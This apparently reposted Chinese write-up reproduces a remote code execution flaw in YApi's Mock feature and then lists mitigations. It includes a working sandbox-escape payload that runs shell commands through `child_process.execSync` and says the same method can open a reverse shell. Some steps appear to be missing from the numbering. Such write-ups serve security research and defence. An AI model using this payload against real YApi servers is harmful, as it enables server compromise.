docker部署:
https://github.com/Ryan-Miao/docker-yapi
1.注册用户
2.添加项目
访问/add-project
3.添加接口
4.设置mock
const sandbox = this
const ObjectConstructor = this.constructor
const FunctionConstructor = ObjectConstructor.constructor
const myfun = FunctionConstructor('return process')
const process = myfun()
mockJson = process.mainModule.require("child_process").execSync("ifconfig").toString()
5.查看Mock地址
7.同理,也可利用命令反弹shell
在"config.json"添加"closeRegister:true"配置项:
{
"port": "*****",
"closeRegister":true
}
2、暂时关闭mock功能(需要修改YApi代码)
if (caseData&&caseData.case_enable{...}
在其上方添加
if(!yapi.WEBCONFIG.mock) {return false;}
3、白名单限制;
4、检查用户列表,删除恶意不明用户;并删除恶意不明用户创建的接口及mock脚本。
本文始发于微信公众号(Timeline Sec):YApi Mock功能远程代码执行漏洞复现
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论